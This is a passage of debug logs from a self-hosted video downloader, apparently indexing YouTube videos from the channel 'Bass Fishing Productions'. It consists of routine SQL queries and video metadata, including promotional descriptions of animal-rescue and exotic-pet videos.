https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Live Animals in a Pet Store Dumpster!", "0414b708-fdbf-4c4e-aa22-a4780ed12968", "B18LIIpNx8E", false, "https://www.youtube.com/watch?v=B18LIIpNx8E", 33, [], 1645, false, 16, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e013100 - I Found Live Animals in a Pet Store Dumpster!.mkv", false, false, 98, ~U[2025-01-31 15:00:01Z], ~U[2026-06-02 12:29:37Z], ~U[2026-06-02 12:29:37Z], "Support my channel by getting Fishing Clash on your iOS/Android device for free https://fishingclash.link/BassFishingProductions !\nUse my gift code BASSFISHING to get a $20 REWARD, and share your biggest catch in the pinned comment!\n_\n\nJoin Fishing Clash community to stay tuned about the latest news\n_\n\nInstagram -\u00A0\u00A0\u00A0https://www.instagram.com/fishingclash_official\n\u00A0\u00A0\u00A0\u00A0\nFacebook -\u00A0\u00A0\u00A0 https://www.facebook.com/fishingclashcommunity\n_\n\nIn today's video, I find live animals in pet store dumpsters! I started off by exploring a dumpster behind a fish store and immediately I found a box full of fish... luckily they were all still alive so I added them into a bucket and I kept going! I then found another box that was full of more fish, axolotls, crawfish, and eels! After saving all of the fish from the first dumpster I moved onto the next one that was behind a fish store that sells rare fish! I started my search through all of the trash and eventually I found a bunch of live fish including arownas, pufferfish, sturgeon, and albino redtail catfish! After that things got even crazier and I found more bags of man-eating catfish! However all of these fish were running out of oxygen so I quickly added them into a bucket and I moved onto the next dumpster that was behind a saltwater fish store! I started my search through all of the garbage and I managed to find a box full of crazy sea creatures! Inside was some clownfish, shrimp, and mystery fish! But it didn't stop there, right after that I found another box full of moray eels, sea urchins, and starfish! So far we have saved so many fish, but now it was time to explore a reptile store dumpster so who knows what we're gonna find! I jumped in and it didn't take me long to find my first animal which was a leopard gecko... As I kept going I found pacman frogs, tarantulas, crabs, turtles, and even snakes! After saving all of the animals I could, I moved onto the last dumpster of the video which was behind an asian food market! This was by far the grossest dumpster, but after some searching I found a bag full of live shrimp! But that was just the beginning because next I found live bullfrogs, blue crabs, eels, and even lobsters! Should I make a part 2 saving more animals from dumpsters?\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Live Animals in a Pet Store Dumpster!", "B18LIIpNx8E", "https://www.youtube.com/watch?v=B18LIIpNx8E", 33, 1645, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e013100 - I Found Live Animals in a Pet Store Dumpster!.mkv", false, ~U[2025-01-31 15:00:01Z]] 08:29:37.390 [debug] QUERY OK source="sources" db=0.2ms idle=115.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:37.390 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:37.391 [debug] QUERY OK source="media_items" db=0.2ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118983] 08:29:37.391 [debug] Current batch of media processed. Will check again in 1000ms 08:29:38.392 [debug] Current batch of media processed. Will check again in 1000ms 08:29:39.394 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video, I find the deadliest animals on the dark web and my goal is to buy them to keep as my new pets! I started by converting an abandoned pet store I bought into a crazy animal room filled with all types of enclosures! I then started my search on the dark web and I came across a saltwater fish mystery box that could contain sharks, eels, stingrays, and even octopuses! After a few days the package arrived and it was full of sea creatures including clownfish, seahorses, stonefish, lobsters, and starfish! After adding them into their aquarium I received our next animal off the dark web, which was an alien frog! They are called pipa pipa frogs and they are some of the rarest frogs in the world! I added them into their enclosure and I continued searching the dark web for more crazy animals! The next animal was by far the coolest one so far, it was a 3 foot long land crab! So, I placed the order and I set up the biggest enclosure I could for him! After a couple weeks it finally arrived and it was the biggest crab i’ve ever seen with claws the size of my hand… But this was just the beginning, and we had a lot more deadly animals to go! Next, I ordered the most dangerous snake I could find called an emerald tree boa! These snakes have super long teeth and are known for being super aggressive! After almost getting bit I got him into his enclosure, and I moved onto the next animal! Now while the snake was scary this next animal was even scarier! It was a goliath bird-eater tarantula, the biggest spider in the world! Now so far we haven’t been scammed on the dark web, but that was about to change… The next animal I ordered was a frilled dragon, but sadly it never arrived. I then found the rarest animal so far which was an albino snapping turtle for $3,000! Thankfully it arrived and I was able to add him into his new home… After that I bought dinosaur lizard mystery box, and inside was a caiman lizard, an asian water monitor, and a panther chameleon! I added them all into their own enclosures and I kept searching the dark web! I then came across an elephant trunk snake which is a fully aquatic snake that gets 10ft long! But there was still a ton of empty enclosures that we needed to fill, so I bought an insect mystery box that was filled with the craziest bugs on the planet! We found African giant millipedes, whip scorpions, monster beetles, scorpions, praying mantis, and a deadly vinegaroon that can shoot acid out of its body! However these next animals were the deadliest ones so far… They were poison dart frogs which can kill you if you touch them! So I carefully added them into their new home and I kept searching through the dark web! Next I stumbled upon a website that was selling a mata mata turtle for $800! These are some of the craziest looking turtles in the world so I knew I had to buy it! After weeks of waiting it finally arrived and I was able to put him into his aquarium! Now, there was only 2 more aquariums left to fill so I ordered the craziest animals I could find to put inside of them! In the first box was a baby octopus, one of the smartest creatures in the world! This was by far the coolest animal so far, but we still had more to go! Next was another deadly venomous fish called the scorpion fish! This fish is extremely venomous and is a master of camouflage, I carefully added him into the aquarium but it was still looking pretty empty so I opened up the last package and I found a real life shark inside! It was called a horned shark and only gets 4ft long so it will be the perfect pet shark! All together we bought so many rare and deadly animals, but there was still some empty enclosures so comment below what I should buy next!\n—\nIf I used your video in this video and you want it removed please contact my email so we can sort it out.\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bas" <> ..., "duration" => 1942, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e011100 - I Found The Deadliest Animals On The Dark Web!.mkv", "id" => "5z6jFVK60Qw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=5z6jFVK60Qw", "playlist_index" => 17, "timestamp" => 1736600401, "title" => "I Found The Deadliest Animals On The Dark Web!", "upload_date" => "20250111"} 08:29:39.396 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=608.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:39.398 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=609.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:39.399 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=611.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-11 13:00:01Z], 33] 08:29:39.402 [debug] QUERY OK source="media_items" db=2.4ms idle=612.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I find the deadliest animals on the dark web and my goal is to buy them to keep as my new pets! I started by converting an abandoned pet store I bought into a crazy animal room filled with all types of enclosures! I then started my search on the dark web and I came across a saltwater fish mystery box that could contain sharks, eels, stingrays, and even octopuses! After a few days the package arrived and it was full of sea creatures including clownfish, seahorses, stonefish, lobsters, and starfish! After adding them into their aquarium I received our next animal off the dark web, which was an alien frog! They are called pipa pipa frogs and they are some of the rarest frogs in the world! I added them into their enclosure and I continued searching the dark web for more crazy animals! The next animal was by far the coolest one so far, it was a 3 foot long land crab! So, I placed the order and I set up the biggest enclosure I could for him! After a couple weeks it finally arrived and it was the biggest crab i’ve ever seen with claws the size of my hand… But this was just the beginning, and we had a lot more deadly animals to go! Next, I ordered the most dangerous snake I could find called an emerald tree boa! These snakes have super long teeth and are known for being super aggressive! After almost getting bit I got him into his enclosure, and I moved onto the next animal! Now while the snake was scary this next animal was even scarier! It was a goliath bird-eater tarantula, the biggest spider in the world! Now so far we haven’t been scammed on the dark web, but that was about to change… The next animal I ordered was a frilled dragon, but sadly it never arrived. I then found the rarest animal so far which was an albino snapping turtle for $3,000! Thankfully it arrived and I was able to add him into his new home… After that I bought dinosaur lizard mystery box, and inside was a caiman lizard, an asian water monitor, and a panther chameleon! I added them all into their own enclosures and I kept searching the dark web! I then came across an elephant trunk snake which is a fully aquatic snake that gets 10ft long! But there was still a ton of empty enclosures that we needed to fill, so I bought an insect mystery box that was filled with the craziest bugs on the planet! We found African giant millipedes, whip scorpions, monster beetles, scorpions, praying mantis, and a deadly vinegaroon that can shoot acid out of its body! However these next animals were the deadliest ones so far… They were poison dart frogs which can kill you if you touch them! So I carefully added them into their new home and I kept searching through the dark web! Next I stumbled upon a website that was selling a mata mata turtle for $800! These are some of the craziest looking turtles in the world so I knew I had to buy it! After weeks of waiting it finally arrived and I was able to put him into his aquarium! Now, there was only 2 more aquariums left to fill so I ordered the craziest animals I could find to put inside of them! In the first box was a baby octopus, one of the smartest creatures in the world! This was by far the coolest animal so far, but we still had more to go! Next was another deadly venomous fish called the scorpion fish! This fish is extremely venomous and is a master of camouflage, I carefully added him into the aquarium but it was still looking pretty empty so I opened up the last package and I found a real life shark inside! It was called a horned shark and only gets 4ft long so it will be the perfect pet shark! All together we bought so many rare and deadly animals, but there was still some empty enclosures so comment below what I should buy next!\n—\nIf I used your video in this video and you want it removed please contact my email so we can sort it out.\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bas" <> ..., "I Found The Deadliest Animals On The Dark Web!", "cab34217-2be5-4e79-943f-2aa0b80de9ab", "5z6jFVK60Qw", false, "https://www.youtube.com/watch?v=5z6jFVK60Qw", 33, [], 1942, false, 17, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e011100 - I Found The Deadliest Animals On The Dark Web!.mkv", false, false, 98, ~U[2025-01-11 13:00:01Z], ~U[2026-06-02 12:29:39Z], ~U[2026-06-02 12:29:39Z], "In today’s video, I find the deadliest animals on the dark web and my goal is to buy them to keep as my new pets! I started by converting an abandoned pet store I bought into a crazy animal room filled with all types of enclosures! I then started my search on the dark web and I came across a saltwater fish mystery box that could contain sharks, eels, stingrays, and even octopuses! After a few days the package arrived and it was full of sea creatures including clownfish, seahorses, stonefish, lobsters, and starfish! After adding them into their aquarium I received our next animal off the dark web, which was an alien frog! They are called pipa pipa frogs and they are some of the rarest frogs in the world! I added them into their enclosure and I continued searching the dark web for more crazy animals! The next animal was by far the coolest one so far, it was a 3 foot long land crab! So, I placed the order and I set up the biggest enclosure I could for him! After a couple weeks it finally arrived and it was the biggest crab i’ve ever seen with claws the size of my hand… But this was just the beginning, and we had a lot more deadly animals to go! Next, I ordered the most dangerous snake I could find called an emerald tree boa! These snakes have super long teeth and are known for being super aggressive! After almost getting bit I got him into his enclosure, and I moved onto the next animal! Now while the snake was scary this next animal was even scarier! It was a goliath bird-eater tarantula, the biggest spider in the world! Now so far we haven’t been scammed on the dark web, but that was about to change… The next animal I ordered was a frilled dragon, but sadly it never arrived. I then found the rarest animal so far which was an albino snapping turtle for $3,000! Thankfully it arrived and I was able to add him into his new home… After that I bought dinosaur lizard mystery box, and inside was a caiman lizard, an asian water monitor, and a panther chameleon! I added them all into their own enclosures and I kept searching the dark web! I then came across an elephant trunk snake which is a fully aquatic snake that gets 10ft long! But there was still a ton of empty enclosures that we needed to fill, so I bought an insect mystery box that was filled with the craziest bugs on the planet! We found African giant millipedes, whip scorpions, monster beetles, scorpions, praying mantis, and a deadly vinegaroon that can shoot acid out of its body! However these next animals were the deadliest ones so far… They were poison dart frogs which can kill you if you touch them! So I carefully added them into their new home and I kept searching through the dark web! Next I stumbled upon a website that was selling a mata mata turtle for $800! These are some of the craziest looking turtles in the worl (truncated) 08:29:39.403 [debug] QUERY OK source="sources" db=0.3ms idle=123.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:39.403 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:39.404 [debug] QUERY OK source="media_items" db=0.2ms idle=5.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118984] 08:29:39.404 [debug] Current batch of media processed. Will check again in 1000ms 08:29:40.404 [debug] Current batch of media processed. Will check again in 1000ms 08:29:41.405 [debug] Current batch of media processed. Will check again in 1000ms 08:29:42.407 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video, I combine all of my videos of finding monsters in 2024 into one giant movie! We found axolotls, sharks, alligators, snakes, deadly fish, and some of the rarest animals in the world in this video… So join me on this adventure as we explore abandoned ponds, sewers, abandoned pools, and even pet stores filled with monsters!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "duration" => 10248, "filename" => "/downloads/shows/Bass fishing Productions/Season 2024/s2024e121400 - Every Pond Monster I’ve Ever Found….mp4", "id" => "gyK4NviOjGA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=gyK4NviOjGA", "playlist_index" => 18, "timestamp" => 1734182907, "title" => "Every Pond Monster I’ve Ever Found…", "upload_date" => "20241214"} 08:29:42.408 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1620.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:42.409 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1621.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:42.412 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=1622.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-14 13:28:27Z], 33] 08:29:42.413 [debug] QUERY OK source="media_items" db=0.8ms idle=1130.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I combine all of my videos of finding monsters in 2024 into one giant movie! We found axolotls, sharks, alligators, snakes, deadly fish, and some of the rarest animals in the world in this video… So join me on this adventure as we explore abandoned ponds, sewers, abandoned pools, and even pet stores filled with monsters!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "Every Pond Monster I’ve Ever Found…", "90eea2d4-c6d5-4365-a268-d526e1a8d0ac", "gyK4NviOjGA", false, "https://www.youtube.com/watch?v=gyK4NviOjGA", 33, [], 10248, false, 18, "/downloads/shows/Bass fishing Productions/Season 2024/s2024e121400 - Every Pond Monster I’ve Ever Found….mp4", false, false, 98, ~U[2024-12-14 13:28:27Z], ~U[2026-06-02 12:29:42Z], ~U[2026-06-02 12:29:42Z], "In today’s video, I combine all of my videos of finding monsters in 2024 into one giant movie! We found axolotls, sharks, alligators, snakes, deadly fish, and some of the rarest animals in the world in this video… So join me on this adventure as we explore abandoned ponds, sewers, abandoned pools, and even pet stores filled with monsters!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "Every Pond Monster I’ve Ever Found…", "gyK4NviOjGA", "https://www.youtube.com/watch?v=gyK4NviOjGA", 33, 10248, false, "/downloads/shows/Bass fishing Productions/Season 2024/s2024e121400 - Every Pond Monster I’ve Ever Found….mp4", false, ~U[2024-12-14 13:28:27Z]] 08:29:42.414 [debug] QUERY OK source="sources" db=0.3ms idle=129.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:42.414 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:42.415 [debug] QUERY OK source="media_items" db=0.2ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118985] 08:29:42.415 [debug] Current batch of media processed. Will check again in 1000ms 08:29:43.416 [debug] Current batch of media processed. Will check again in 1000ms 08:29:44.418 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video, I find an abandoned axolotl farm that is filled with axolotls, fish, turtles, frogs, and much more that were left here to die! So, my mission is to explore the entire farm to hopefully save all the animals! I started by netting around in a pond and immediately I caught some axolotls! But as I kept going I ended up finding albino axolotls which are alot\nmore rare! After that I kept netting around and I managed to catch a golden axolotl, one of the rarest in the world! I then came across a pond that was filled with crazy fish, including flowerhorns, lungfish, catfish, pufferfish, eels, freshwater sharks, and much more! But things didn’t stop there, I kept going and I started catching more axolotls, and even some baby turtles! But sadly, what I found next was a shattered fish tank filled with dead fish and axolotls… So now we have to hurry because these animals don’t have a lot of time left! I kept exploring and I managed to catch some angelfish, betta fish, and a monster albino axolotl! Things were starting to get crazy and I found a pond loaded with colorful crawfish, including orange ones, blue ones, and even white ones! I kept exploring the farm when suddenly I came across some monster fish including an albino lungfish, oscars, arowanas, and much more! But then I came across the deadliest animal so far… It was a mata mata turtle, one of the rarest turtles in the world! After exploring the rest of the farm and catching more axolotls, and albino frogs, it was now time to explore the two massive ponds filled with axolotls! So I places a fish trap in one of them and I started netting around in the other… Immediately I caught some of the biggest axolotls iv ever seen, including black ones, golden ones, and albino ones! But after a while it was now time to check the fish trap and I managed to catch a ton of axolotls, which means we successfully saved all of the animals from the abandoned farm!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "duration" => 1540, "filename" => "/downloads/shows/Bass fishing Productions/Season 2024/s2024e112300 - I Found an Abandoned Axolotl Farm.mkv", "id" => "RiS0pgYsKdg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RiS0pgYsKdg", "playlist_index" => 19, "timestamp" => 1732366805, "title" => "I Found an Abandoned Axolotl Farm", "upload_date" => "20241123"} 08:29:44.419 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=631.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", 